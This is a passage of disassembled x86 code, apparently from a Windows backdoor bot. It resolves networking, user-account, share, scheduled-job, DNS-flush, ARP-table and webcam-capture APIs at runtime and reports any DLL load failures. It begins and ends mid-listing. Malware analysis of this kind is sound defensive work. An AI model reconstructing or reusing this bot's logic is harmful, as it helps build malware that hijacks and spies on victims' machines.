		push	edi
		mov	ds:dword_42F76C, eax
		call	esi ; dword_41F0B0
		push	offset aRecvfrom ; "recvfrom"
		push	edi
		mov	ds:dword_42F720, eax
		call	esi ; dword_41F0B0
		mov	ds:dword_42F6E0, eax
		push	offset aBind	; "bind"
		push	edi
		call	esi ; dword_41F0B0
		push	offset aSelect	; "select"
		push	edi
		mov	ds:dword_42F734, eax
		call	esi ; dword_41F0B0
		push	offset aListen	; "listen"
		push	edi
		mov	ds:dword_42F6F0, eax
		call	esi ; dword_41F0B0
		push	offset aAccept	; "accept"
		push	edi
		mov	ds:dword_42F730, eax
		call	esi ; dword_41F0B0
		push	offset aSetsockopt ; "setsockopt"
		push	edi
		mov	ds:dword_42F79C, eax
		call	esi ; dword_41F0B0
		push	offset aGetsockname ; "getsockname"
		push	edi
		mov	ds:dword_42F6E8, eax
		call	esi ; dword_41F0B0
		push	offset aGethostname ; "gethostname"
		push	edi
		mov	ds:dword_42F6AC, eax
		call	esi ; dword_41F0B0
		push	offset aGethostbyname ;	"gethostbyname"
		push	edi
		mov	ds:dword_42F71C, eax
		call	esi ; dword_41F0B0
		push	offset aGethostbyaddr ;	"gethostbyaddr"
		push	edi
		mov	ds:dword_42F78C, eax
		call	esi ; dword_41F0B0
		push	offset aGetpeername ; "getpeername"
		push	edi
		mov	ds:dword_42F6C0, eax
		call	esi ; dword_41F0B0
		push	offset aClosesocket ; "closesocket"
		push	edi
		mov	ds:dword_42F664, eax
		call	esi ; dword_41F0B0
		cmp	ds:dword_42F680, ebx
		mov	ds:dword_42F7A0, eax
		jz	loc_407651
		cmp	ds:dword_42F7AC, ebx
		jz	loc_407651
		cmp	ds:dword_42F624, ebx
		jz	loc_407651
		cmp	ds:dword_42F6B4, ebx
		jz	loc_407651
		cmp	ds:dword_42F69C, ebx
		jz	loc_407651
		cmp	ds:dword_42F668, ebx
		jz	loc_407651
		cmp	ds:dword_42F788, ebx
		jz	loc_407651
		cmp	ds:dword_42F7A4, ebx
		jz	loc_407651
		cmp	ds:dword_42F6B0, ebx
		jz	loc_407651
		cmp	ds:dword_42F794, ebx
		jz	loc_407651
		cmp	ds:dword_42F748, ebx
		jz	loc_407651
		cmp	ds:dword_42F708, ebx
		jz	loc_407651
		cmp	ds:dword_42F704, ebx
		jz	loc_407651
		cmp	ds:dword_42F644, ebx
		jz	short loc_407651
		cmp	ds:dword_42F758, ebx
		jz	short loc_407651
		cmp	ds:dword_42F76C, ebx
		jz	short loc_407651
		cmp	ds:dword_42F720, ebx
		jz	short loc_407651
		cmp	ds:dword_42F6E0, ebx
		jz	short loc_407651
		cmp	ds:dword_42F734, ebx
		jz	short loc_407651
		cmp	ds:dword_42F6F0, ebx
		jz	short loc_407651
		cmp	ds:dword_42F730, ebx
		jz	short loc_407651
		cmp	ds:dword_42F79C, ebx
		jz	short loc_407651
		cmp	ds:dword_42F6E8, ebx
		jz	short loc_407651
		cmp	ds:dword_42F6AC, ebx
		jz	short loc_407651
		cmp	ds:dword_42F71C, ebx
		jz	short loc_407651
		cmp	ds:dword_42F78C, ebx
		jz	short loc_407651
		cmp	ds:dword_42F6C0, ebx
		jz	short loc_407651
		cmp	eax, ebx
		jnz	short loc_40765B
		jmp	short loc_407651
; ---------------------------------------------------------------------------


loc_407646:				; CODE XREF: sub_406E9A+501j
		call	ds:dword_41F068	; RtlGetLastWin32Error
		mov	ds:dword_42F7EC, eax


loc_407651:				; CODE XREF: sub_406E9A+6A0j
					; sub_406E9A+6ACj ...
		mov	ds:dword_42F7E8, 1


loc_40765B:				; CODE XREF: sub_406E9A+7A8j
		push	offset aWininet_dll ; "wininet.dll"
		call	ebp ; dword_41F0AC
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_407760
		push	offset aInternetgetcon ; "InternetGetConnectedState"
		push	edi
		call	esi ; dword_41F0B0
		push	offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
		push	edi
		mov	ds:dword_42F64C, eax
		call	esi ; dword_41F0B0
		push	offset aHttpopenreques ; "HttpOpenRequestA"
		push	edi
		mov	ds:dword_42F5D8, eax
		call	esi ; dword_41F0B0
		push	offset aHttpsendreques ; "HttpSendRequestA"
		push	edi
		mov	ds:dword_42F6D0, eax
		call	esi ; dword_41F0B0
		push	offset aInternetconnec ; "InternetConnectA"
		push	edi
		mov	ds:dword_42F684, eax
		call	esi ; dword_41F0B0
		push	offset aInternetopena ;	"InternetOpenA"
		push	edi
		mov	ds:dword_42F6DC, eax
		call	esi ; dword_41F0B0
		push	offset aInternetopenur ; "InternetOpenUrlA"
		push	edi
		mov	ds:dword_42F6A0, eax
		call	esi ; dword_41F0B0
		push	offset aInternetcracku ; "InternetCrackUrlA"
		push	edi
		mov	ds:dword_42F618, eax
		call	esi ; dword_41F0B0
		push	offset aInternetreadfi ; "InternetReadFile"
		push	edi
		mov	ds:dword_42F610, eax
		call	esi ; dword_41F0B0
		push	offset aInternetcloseh ; "InternetCloseHandle"
		push	edi
		mov	ds:dword_42F620, eax
		call	esi ; dword_41F0B0
		cmp	ds:dword_42F64C, ebx
		mov	ecx, ds:dword_42F6A0
		mov	ds:dword_42F73C, eax
		jz	short loc_40773C
		cmp	ds:dword_42F5D8, ebx
		jz	short loc_40773C
		cmp	ds:dword_42F6D0, ebx
		jz	short loc_40773C
		cmp	ds:dword_42F684, ebx
		jz	short loc_40773C
		cmp	ds:dword_42F6DC, ebx
		jz	short loc_40773C
		cmp	ecx, ebx
		jz	short loc_40773C
		cmp	ds:dword_42F618, ebx
		jz	short loc_40773C
		cmp	ds:dword_42F610, ebx
		jz	short loc_40773C
		cmp	ds:dword_42F620, ebx
		jz	short loc_40773C
		cmp	eax, ebx
		jnz	short loc_407746


loc_40773C:				; CODE XREF: sub_406E9A+860j
					; sub_406E9A+868j ...
		mov	ds:dword_42F7F0, 1


loc_407746:				; CODE XREF: sub_406E9A+8A0j
		cmp	ecx, ebx
		jz	short loc_40777B
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
		call	ecx ; dword_42F6A0
		cmp	eax, ebx
		mov	ds:dword_42F6B8, eax
		jnz	short loc_40777B
		jmp	short loc_407775
; ---------------------------------------------------------------------------


loc_407760:				; CODE XREF: sub_406E9A+7CCj
		call	ds:dword_41F068	; RtlGetLastWin32Error
		mov	ds:dword_42F7F4, eax
		mov	ds:dword_42F7F0, 1


loc_407775:				; CODE XREF: sub_406E9A+8C4j
		mov	ds:dword_42F6B8, ebx


loc_40777B:				; CODE XREF: sub_406E9A+8AEj
					; sub_406E9A+8C2j
		push	offset aIcmp_dll ; "icmp.dll"
		call	ebp ; dword_41F0AC
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_4077C5
		push	offset aIcmpcreatefile ; "IcmpCreateFile"
		push	edi
		call	esi ; dword_41F0B0
		push	offset aIcmpclosehandl ; "IcmpCloseHandle"
		push	edi
		mov	ds:dword_42F694, eax
		call	esi ; dword_41F0B0
		push	offset aIcmpsendecho ; "IcmpSendEcho"
		push	edi
		mov	ds:dword_42F7C0, eax
		call	esi ; dword_41F0B0
		cmp	ds:dword_42F694, ebx
		mov	ds:dword_42F62C, eax
		jz	short loc_4077D0
		cmp	ds:dword_42F7C0, ebx
		jz	short loc_4077D0
		cmp	eax, ebx
		jnz	short loc_4077DA
		jmp	short loc_4077D0
; ---------------------------------------------------------------------------


loc_4077C5:				; CODE XREF: sub_406E9A+8ECj
		call	ds:dword_41F068	; RtlGetLastWin32Error
		mov	ds:dword_42F7FC, eax


loc_4077D0:				; CODE XREF: sub_406E9A+91Bj
					; sub_406E9A+923j ...
		mov	ds:dword_42F7F8, 1


loc_4077DA:				; CODE XREF: sub_406E9A+927j
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	ebp ; dword_41F0AC
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_4078D0
		push	offset aNetshareadd ; "NetShareAdd"
		push	edi
		call	esi ; dword_41F0B0
		push	offset aNetsharedel ; "NetShareDel"
		push	edi
		mov	ds:dword_42F608, eax
		call	esi ; dword_41F0B0
		push	offset aNetshareenum ; "NetShareEnum"
		push	edi
		mov	ds:dword_42F5E0, eax
		call	esi ; dword_41F0B0
		push	offset aNetschedulejob ; "NetScheduleJobAdd"
		push	edi
		mov	ds:dword_42F654, eax
		call	esi ; dword_41F0B0
		push	offset aNetapibufferfr ; "NetApiBufferFree"
		push	edi
		mov	ds:dword_42F688, eax
		call	esi ; dword_41F0B0
		push	offset aNetremotetod ; "NetRemoteTOD"
		push	edi
		mov	ds:dword_42F798, eax
		call	esi ; dword_41F0B0
		push	offset aNetuseradd ; "NetUserAdd"
		push	edi
		mov	ds:dword_42F640, eax
		call	esi ; dword_41F0B0
		push	offset aNetuserdel ; "NetUserDel"
		push	edi
		mov	ds:dword_42F5EC, eax
		call	esi ; dword_41F0B0
		push	offset aNetuserenum ; "NetUserEnum"
		push	edi
		mov	ds:dword_42F5DC, eax
		call	esi ; dword_41F0B0
		push	offset aNetusergetinfo ; "NetUserGetInfo"
		push	edi
		mov	ds:dword_42F670, eax
		call	esi ; dword_41F0B0
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	edi
		mov	ds:dword_42F760, eax
		call	esi ; dword_41F0B0
		cmp	ds:dword_42F608, ebx
		mov	ds:dword_42F718, eax
		jz	short loc_4078DB
		cmp	ds:dword_42F5E0, ebx
		jz	short loc_4078DB
		cmp	ds:dword_42F654, ebx
		jz	short loc_4078DB
		cmp	ds:dword_42F688, ebx
		jz	short loc_4078DB
		cmp	ds:dword_42F798, ebx
		jz	short loc_4078DB
		cmp	ds:dword_42F640, ebx
		jz	short loc_4078DB
		cmp	ds:dword_42F5EC, ebx
		jz	short loc_4078DB
		cmp	ds:dword_42F5DC, ebx
		jz	short loc_4078DB
		cmp	ds:dword_42F670, ebx
		jz	short loc_4078DB
		cmp	ds:dword_42F760, ebx
		jz	short loc_4078DB
		cmp	eax, ebx
		jnz	short loc_4078E5
		jmp	short loc_4078DB
; ---------------------------------------------------------------------------


loc_4078D0:				; CODE XREF: sub_406E9A+94Bj
		call	ds:dword_41F068	; RtlGetLastWin32Error
		mov	ds:dword_42F804, eax


loc_4078DB:				; CODE XREF: sub_406E9A+9E6j
					; sub_406E9A+9EEj ...
		mov	ds:dword_42F800, 1


loc_4078E5:				; CODE XREF: sub_406E9A+A32j
		push	offset aDnsapi_dll ; "dnsapi.dll"
		call	ebp ; dword_41F0AC
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40791A
		push	offset aDnsflushresolv ; "DnsFlushResolverCache"
		push	edi
		call	esi ; dword_41F0B0
		push	offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
		push	edi
		mov	ds:dword_42F630, eax
		call	esi ; dword_41F0B0
		cmp	ds:dword_42F630, ebx
		mov	ds:dword_42F700, eax
		jz	short loc_407925
		cmp	eax, ebx
		jnz	short loc_40792F
		jmp	short loc_407925
; ---------------------------------------------------------------------------


loc_40791A:				; CODE XREF: sub_406E9A+A56j
		call	ds:dword_41F068	; RtlGetLastWin32Error
		mov	ds:dword_42F80C, eax


loc_407925:				; CODE XREF: sub_406E9A+A78j
					; sub_406E9A+A7Ej
		mov	ds:dword_42F808, 1


loc_40792F:				; CODE XREF: sub_406E9A+A7Cj
		push	offset aIphlpapi_dll ; "iphlpapi.dll"
		call	ebp ; dword_41F0AC
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_407964
		push	offset aGetipnettable ;	"GetIpNetTable"
		push	edi
		call	esi ; dword_41F0B0
		push	offset aDeleteipnetent ; "DeleteIpNetEntry"
		push	edi
		mov	ds:dword_42F784, eax
		call	esi ; dword_41F0B0
		cmp	ds:dword_42F784, ebx
		mov	ds:dword_42F780, eax
		jz	short loc_40796F
		cmp	eax, ebx
		jnz	short loc_407979
		jmp	short loc_40796F
; ---------------------------------------------------------------------------


loc_407964:				; CODE XREF: sub_406E9A+AA0j
		call	ds:dword_41F068	; RtlGetLastWin32Error
		mov	ds:dword_42F814, eax


loc_40796F:				; CODE XREF: sub_406E9A+AC2j
					; sub_406E9A+AC8j
		mov	ds:dword_42F810, 1


loc_407979:				; CODE XREF: sub_406E9A+AC6j
		push	offset aMpr_dll	; "mpr.dll"
		call	ebp ; dword_41F0AC
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_4079D8
		push	offset aWnetaddconnect ; "WNetAddConnection2A"
		push	edi
		call	esi ; dword_41F0B0
		push	offset aWnetaddconne_0 ; "WNetAddConnection2W"
		push	edi
		mov	ds:dword_42F7B0, eax
		call	esi ; dword_41F0B0
		push	offset aWnetcancelconn ; "WNetCancelConnection2A"
		push	edi
		mov	ds:dword_42F7A8, eax
		call	esi ; dword_41F0B0
		push	offset aWnetcancelco_0 ; "WNetCancelConnection2W"
		push	edi
		mov	ds:dword_42F770, eax
		call	esi ; dword_41F0B0
		cmp	ds:dword_42F7B0, ebx
		mov	ds:dword_42F648, eax
		jz	short loc_4079E3
		cmp	ds:dword_42F7A8, ebx
		jz	short loc_4079E3
		cmp	ds:dword_42F770, ebx
		jz	short loc_4079E3
		cmp	eax, ebx
		jnz	short loc_4079ED
		jmp	short loc_4079E3
; ---------------------------------------------------------------------------


loc_4079D8:				; CODE XREF: sub_406E9A+AEAj
		call	ds:dword_41F068	; RtlGetLastWin32Error
		mov	ds:dword_42F81C, eax


loc_4079E3:				; CODE XREF: sub_406E9A+B26j
					; sub_406E9A+B2Ej ...
		mov	ds:dword_42F818, 1


loc_4079ED:				; CODE XREF: sub_406E9A+B3Aj
		push	offset aShell32_dll ; "shell32.dll"
		call	ebp ; dword_41F0AC
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_407A22
		push	offset aShellexecutea ;	"ShellExecuteA"
		push	edi
		call	esi ; dword_41F0B0
		push	offset aShchangenotify ; "SHChangeNotify"
		push	edi
		mov	ds:dword_42F67C, eax
		call	esi ; dword_41F0B0
		cmp	ds:dword_42F67C, ebx
		mov	ds:dword_42F77C, eax
		jz	short loc_407A2D
		cmp	eax, ebx
		jnz	short loc_407A37
		jmp	short loc_407A2D
; ---------------------------------------------------------------------------


loc_407A22:				; CODE XREF: sub_406E9A+B5Ej
		call	ds:dword_41F068	; RtlGetLastWin32Error
		mov	ds:dword_42F824, eax


loc_407A2D:				; CODE XREF: sub_406E9A+B80j
					; sub_406E9A+B86j
		mov	ds:dword_42F820, 1


loc_407A37:				; CODE XREF: sub_406E9A+B84j
		push	offset aOdbc32_dll ; "odbc32.dll"
		call	ebp ; dword_41F0AC
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_407AC0
		push	offset aSqldriverconne ; "SQLDriverConnect"
		push	edi
		call	esi ; dword_41F0B0
		push	offset aSqlsetenvattr ;	"SQLSetEnvAttr"
		push	edi
		mov	ds:dword_42F744, eax
		call	esi ; dword_41F0B0
		push	offset aSqlexecdirect ;	"SQLExecDirect"
		push	edi
		mov	ds:dword_42F790, eax
		call	esi ; dword_41F0B0
		push	offset aSqlallochandle ; "SQLAllocHandle"
		push	edi
		mov	ds:dword_42F6CC, eax
		call	esi ; dword_41F0B0
		push	offset aSqlfreehandle ;	"SQLFreeHandle"
		push	edi
		mov	ds:dword_42F68C, eax
		call	esi ; dword_41F0B0
		push	offset aSqldisconnect ;	"SQLDisconnect"
		push	edi
		mov	ds:dword_42F724, eax
		call	esi ; dword_41F0B0
		cmp	ds:dword_42F744, ebx
		mov	ds:dword_42F698, eax
		jz	short loc_407ACB
		cmp	ds:dword_42F790, ebx
		jz	short loc_407ACB
		cmp	ds:dword_42F6CC, ebx
		jz	short loc_407ACB
		cmp	ds:dword_42F68C, ebx
		jz	short loc_407ACB
		cmp	ds:dword_42F724, ebx
		jz	short loc_407ACB
		cmp	eax, ebx
		jnz	short loc_407AD5
		jmp	short loc_407ACB
; ---------------------------------------------------------------------------


loc_407AC0:				; CODE XREF: sub_406E9A+BA8j
		call	ds:dword_41F068	; RtlGetLastWin32Error
		mov	ds:dword_42F82C, eax


loc_407ACB:				; CODE XREF: sub_406E9A+BFEj
					; sub_406E9A+C06j ...
		mov	ds:dword_42F828, 1


loc_407AD5:				; CODE XREF: sub_406E9A+C22j
		push	offset aAvicap32_dll ; "avicap32.dll"
		call	ebp ; dword_41F0AC
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_407B0A
		push	offset aCapcreatecaptu ; "capCreateCaptureWindowA"
		push	edi
		call	esi ; dword_41F0B0
		push	offset aCapgetdriverde ; "capGetDriverDescriptionA"
		push	edi
		mov	ds:dword_42F660, eax
		call	esi ; dword_41F0B0
		cmp	ds:dword_42F660, ebx
		mov	ds:dword_42F738, eax
		jz	short loc_407B15
		cmp	eax, ebx
		jnz	short loc_407B1F
		jmp	short loc_407B15
; ---------------------------------------------------------------------------


loc_407B0A:				; CODE XREF: sub_406E9A+C46j
		call	ds:dword_41F068	; RtlGetLastWin32Error
		mov	ds:dword_42F834, eax


loc_407B15:				; CODE XREF: sub_406E9A+C68j
					; sub_406E9A+C6Ej
		mov	ds:dword_42F830, 1


loc_407B1F:				; CODE XREF: sub_406E9A+C6Cj
		push	1
		pop	eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_406E9A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407B27	proc near		; CODE XREF: seg000:00410558p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		xor	esi, esi
		cmp	ds:dword_42F7C8, esi
		push	edi
		mov	edi, [ebp+arg_8]
		jz	short loc_407B6F
		push	ds:dword_42F7CC
		lea	eax, [ebp+var_200]
		push	offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
		push	eax
		call	sub_4135AD
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_4110B0
		add	esp, 20h


loc_407B6F:				; CODE XREF: sub_407B27+1Aj
		cmp	ds:dword_42F7D0, esi
		jz	short loc_407BA3
		push	ds:dword_42F7D4
		lea	eax, [ebp+var_200]
		push	offset aUser32_dllFail ; "User32.dll failed. <%d>"
		push	eax
		call	sub_4135AD
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_4110B0
		add	esp, 20h


loc_407BA3:				; CODE XREF: sub_407B27+4Ej
		cmp	ds:dword_42F7D8, esi
		jz	short loc_407BD7
		push	ds:dword_42F7DC
		lea	eax, [ebp+var_200]
		push	offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
		push	eax
		call	sub_4135AD
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_4110B0
		add	esp, 20h


loc_407BD7:				; CODE XREF: sub_407B27+82j
		cmp	ds:dword_42F7E0, esi
		jz	short loc_407C0B
		push	ds:dword_42F7E4
		lea	eax, [ebp+var_200]
		push	offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
		push	eax
		call	sub_4135AD
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_4110B0
		add	esp, 20h


loc_407C0B:				; CODE XREF: sub_407B27+B6j
		cmp	ds:dword_42F7E8, esi
		jz	short loc_407C3F
		push	ds:dword_42F7EC
		lea	eax, [ebp+var_200]
		push	offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
		push	eax
		call	sub_4135AD
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_4110B0
		add	esp, 20h


loc_407C3F:				; CODE XREF: sub_407B27+EAj
		cmp	ds:dword_42F7F0, esi
		jz	short loc_407C73
		push	ds:dword_42F7F4
		lea	eax, [ebp+var_200]
		push	offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
		push	eax
		call	sub_4135AD
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_4110B0
		add	esp, 20h


loc_407C73:				; CODE XREF: sub_407B27+11Ej
		cmp	ds:dword_42F7F8, esi
		jz	short loc_407CA7
		push	ds:dword_42F7FC
		lea	eax, [ebp+var_200]
		push	offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
		push	eax
		call	sub_4135AD
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_4110B0
		add	esp, 20h


loc_407CA7:				; CODE XREF: sub_407B27+152j
		cmp	ds:dword_42F800, esi
		jz	short loc_407CDB
		push	ds:dword_42F804
		lea	eax, [ebp+var_200]
		push	offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
		push	eax
		call	sub_4135AD
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_4110B0
		add	esp, 20h


loc_407CDB:				; CODE XREF: sub_407B27+186j
		cmp	ds:dword_42F808, esi
		jz	short loc_407D0F
		push	ds:dword_42F80C
		lea	eax, [ebp+var_200]
		push	offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
		push	eax
		call	sub_4135AD
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_4110B0
		add	esp, 20h


loc_407D0F:				; CODE XREF: sub_407B27+1BAj
		cmp	ds:dword_42F810, esi
		jz	short loc_407D43
		push	ds:dword_42F814
		lea	eax, [ebp+var_200]
		push	offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
		push	eax
		call	sub_4135AD
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_4110B0
		add	esp, 20h


loc_407D43:				; CODE XREF: sub_407B27+1EEj
		cmp	ds:dword_42F818, esi
		jz	short loc_407D77
		push	ds:dword_42F81C
		lea	eax, [ebp+var_200]
		push	offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
		push	eax
		call	sub_4135AD
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_4110B0
		add	esp, 20h


loc_407D77:				; CODE XREF: sub_407B27+222j
		cmp	ds:dword_42F820, esi
		jz	short loc_407DAB
		push	ds:dword_42F824
		lea	eax, [ebp+var_200]
		push	offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
		push	eax
		call	sub_4135AD
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_4110B0
		add	esp, 20h


loc_407DAB:				; CODE XREF: sub_407B27+256j
		cmp	ds:dword_42F828, esi
		jz	short loc_407DDF
		push	ds:dword_42F82C
		lea	eax, [ebp+var_200]
		push	offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
		push	eax
		call	sub_4135AD
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_4110B0
		add	esp, 20h


loc_407DDF:				; CODE XREF: sub_407B27+28Aj
		cmp	ds:dword_42F830, esi
		jz	short loc_407E13
		push	ds:dword_42F834
		lea	eax, [ebp+var_200]
		push	offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>"
		push	eax
		call	sub_4135AD
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_4110B0
		add	esp, 20h


loc_407E13:				; CODE XREF: sub_407B27+2BEj
		lea	eax, [ebp+var_200]
		push	offset dword_425AA4
		push	eax
		call	sub_4135AD
		cmp	[ebp+arg_C], esi
		pop	ecx
		pop	ecx
		jnz	short loc_407E40
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_4110B0
		add	esp, 14h


loc_407E40:				; CODE XREF: sub_407B27+302j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_409615
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_407B27	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407E52	proc near		; CODE XREF: seg000:0040BFABp
					; seg000:0040BFDFp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		cmp	edi, esi
		jz	short loc_407EDD
		mov	eax, [ebp+arg_4]
		cmp	eax, esi
		jz	short loc_407EDD
		cmp	[ebp+arg_8], esi
		jz	short loc_407EDD
		cmp	byte ptr [eax],	0
		jz	short loc_407EDD
		push	ebx
		push	edi
		call	sub_41DE0B
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	short loc_407ED8
		push	[ebp+arg_4]
		push	edi
		call	sub_413B80
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_407ED1
		sub	eax, edi
		push	eax
		push	edi
		push	ebx
		call	sub_414DD0
		push	[ebp+arg_8]
		mov	eax, ebx
		sub	eax, edi
		and	byte ptr [eax+esi], 0
		call	sub_413DB0
		push	eax
		push	[ebp+arg_8]
		push	ebx
		call	sub_414FA0
		push	[ebp+arg_4]
		call	sub_413DB0
		add	eax, esi
		push	eax
		push	ebx
		call	sub_413CD0
		push	ebx
		push	edi
		call	sub_413CC0
		add	esp, 30h
		mov	esi, edi


loc_407ED1:				; CODE XREF: sub_407E52+3Cj
		push	ebx
		call	sub_413ED3
		pop	ecx


loc_407ED8:				; CODE XREF: sub_407E52+2Bj
		mov	eax, esi
		pop	ebx
		jmp	short loc_407EDF
; ---------------------------------------------------------------------------


loc_407EDD:				; CODE XREF: sub_407E52+Cj
					; sub_407E52+13j ...
		xor	eax, eax


loc_407EDF:				; CODE XREF: sub_407E52+89j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_407E52	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407EE3	proc near		; CODE XREF: sub_40B1E3+E9p

var_7D0		= dword	ptr -7D0h
var_7CC		= byte ptr -7CCh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7D0h
		push	ebx
		push	esi
		push	7D0h
		lea	eax, [ebp+var_7D0]
		push	0
		push	eax
		call	sub_413630
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_413DB0
		add	esp, 10h
		push	1
		pop	ebx
		cmp	eax, ebx
		jge	short loc_407F19
		or	eax, 0FFFFFFFFh
		jmp	short loc_407F8C
; ---------------------------------------------------------------------------


loc_407F19:				; CODE XREF: sub_407EE3+2Fj
		xor	ecx, ecx
		mov	[ebp+var_7D0], esi
		test	eax, eax
		jle	short loc_407F3B


loc_407F25:				; CODE XREF: sub_407EE3+56j
		mov	dl, [ecx+esi]
		cmp	dl, 0Ah
		jz	short loc_407F32
		cmp	dl, 0Dh
		jnz	short loc_407F36


loc_407F32:				; CODE XREF: sub_407EE3+48j
		and	byte ptr [ecx+esi], 0


loc_407F36:				; CODE XREF: sub_407EE3+4Dj
		inc	ecx
		cmp	ecx, eax
		jl	short loc_407F25


loc_407F3B:				; CODE XREF: sub_407EE3+40j
		xor	edx, edx
		push	edi
		test	eax, eax
		jle	short loc_407F6C
		lea	edi, [ebp+var_7CC]


loc_407F48:				; CODE XREF: sub_407EE3+87j
		cmp	byte ptr [edx+esi], 0
		jnz	short loc_407F67
		cmp	byte ptr [edx+esi+1], 0
		lea	ecx, [edx+esi+1]
		jz	short loc_407F67
		cmp	ebx, 1F4h
		jge	short loc_407F6C
		mov	[edi], ecx
		inc	ebx
		add	edi, 4


loc_407F67:				; CODE XREF: sub_407EE3+69j
					; sub_407EE3+74j
		inc	edx
		cmp	edx, eax
		jl	short loc_407F48


loc_407F6C:				; CODE XREF: sub_407EE3+5Dj
					; sub_407EE3+7Cj
		cmp	[ebp+arg_4], 0
		pop	edi
		jz	short loc_407F8A
		lea	eax, [ebp+var_7D0]
		push	7D0h
		push	eax
		push	[ebp+arg_4]
		call	sub_413690
		add	esp, 0Ch


loc_407F8A:				; CODE XREF: sub_407EE3+8Ej
		mov	eax, ebx


loc_407F8C:				; CODE XREF: sub_407EE3+34j
		pop	esi
		pop	ebx
		leave
		retn
sub_407EE3	endp


; =============== S U B	R O U T	I N E =======================================



sub_407F90	proc near		; CODE XREF: sub_407FEA+33p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		mov	ecx, 1F4h
		xor	esi, esi
		rep stosd
		lea	edi, [eax-1]
		test	edi, edi
		jl	short loc_407FC9
		push	ebx
		mov	ebx, edi


loc_407FAD:				; CODE XREF: sub_407F90+36j
		mov	eax, [esp+0Ch+arg_0]
		mov	al, [esi+eax]
		push	eax
		call	sub_407FCC
		pop	ecx
		inc	esi
		mov	ecx, [esp+0Ch+arg_8]
		mov	[ecx+eax*4], ebx
		dec	ebx
		cmp	esi, edi
		jle	short loc_407FAD
		pop	ebx


loc_407FC9:				; CODE XREF: sub_407F90+18j
		pop	edi
		pop	esi
		retn
sub_407F90	endp


; =============== S U B	R O U T	I N E =======================================



sub_407FCC	proc near		; CODE XREF: sub_407F90+25p
